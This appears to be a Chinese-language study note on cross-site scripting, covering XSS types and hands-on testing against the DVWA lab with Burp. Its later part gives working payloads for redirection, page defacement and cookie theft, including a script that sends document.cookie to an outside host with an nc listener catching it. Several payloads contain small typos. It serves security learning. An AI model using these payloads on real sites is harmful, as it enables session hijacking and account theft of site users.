XSS —— 跨站脚本漏洞(一)
xss(cross-site scripting)
跨站脚本漏洞,其漏洞还是存在于服务器端,但与之前漏洞不同的是,他攻击的对象不是服务端,他利用漏洞攻击的对象是网站站点的使用者即客户端。
原理:一些黑客可以把有恶意的javascript代码注入到服务器上,可能是一次性注入,也可能是持久性注入,服务器端就会把这些代码不做任何修改直接交付给客户端浏览器,一旦脚本代码存在恶意目的,到达了客户端浏览器去执行的话,就会实现客户端的一个攻击。但是javascript在浏览器中使用权限比较受限制,所以通常来说这种攻击方式不能实现对客户端计算机的完全控制。
利用xss,可以进行cookie的盗取、重定向。
使用场景
- 直接嵌入html:
- 元素标签事件:<body οnlοad=alert(‘xss’)>
- 图片标签:
- 其他标签:、
、
- DOM对象,篡改页面内容
漏洞形成的根源
- 服务器对用户提交数据过滤不严
- 提交给服务器的脚本被直接返回给其他客户端执行
- 脚本在客户端执行恶意操作
1、XSS漏洞类型
- 存储型(持久性)
黑客把自己的有恶意功能的javascript注入到服务器后,服务器将其 接受并保存,其他客户端来访问这个服务器相应的页面,就会把恶意代码交付到客户端。 - 反射型(非持久)
黑客注入有恶意功能的javascript到服务器端,服务器端会原封不动的返回给黑客的机器,就是在黑客的服务器端执行,看起来好像没有危害,但是结合社会工程学,黑客完全可以向被害者发送邮件,邮件中有链接,链接里就是js的脚本,他如果点了这个链接,就会执行js,js请求就会发给服务器端,因为服务器端存在漏洞,所以他会把又恶意功能的js原封不动的再发还给客户端,即发还给该客户端的浏览器,一到浏览器js就可以执行,js就可以窃取cookie、重定向等。 - DOM型
利用浏览器的dom特性,不向服务器端发送请求,而是在本地执行,就可以修改或窃取本地浏览器信息。
2、检测
还是使用DVWA来实验。
在该框中我们输入123点击提交后会返回。由于这是一段javascript代码,由此可猜测,这段代码是不是有可能在客户端被执行而不是显示在页面上?
使用burp截获,
可以看到“123”位于返回的一段html代码里面的
标签中,我们可以猜想:如果我们提交的是html的一段代码,会不会出现异常情况?
试验输入“click”提交:
试验输入最基本最典型的验证跨站脚本是否存在的一段脚本程序:
<script>alert('xss');</script>
提交后弹出提示框,即该段脚本代码被服务端原样返回给客户端并且在客户端执行了。由此可证明跨站脚本存在。
<a href=" οnclick=alert('xss')>type</a>
<img src=http://1.1.1.1/a.jpg οnerrοr=alert('xss')>
找不到该图片就会弹出框,显示xss。
<script>window.location="http://10.0.0.141"</script>
#我们可以结合nc使用
nc -vnlp 80
<iframe src="http://1.1.1.1/victim" height="0" width="0"></iframe>
#该命令实验失败??
<script>new image().src="http://1.1.1.1/c.php?output="+document.cookie;<script> #结合nc使用可以偷取cookie
<script>document.body.innerHTML="<div style=visibility:visible;><h1>this website is under attack</h1></div>";</script>
实现对页面的篡改:
3.窃取cookie
#src的值是带有恶意的脚本文件的实际位置,一旦执行,就会把脚本代码汇入到服务器端的html里,服务器端就会把该代码返回给客户端
<script src="http://1.1.1.1/a.js"></script>
#a.js源码:
var img=new image();
img.src="http://1.1.1.1:88/cookies.php?cookie="+document.cookie;
#再用nc侦听88端口
nc -nvlp 88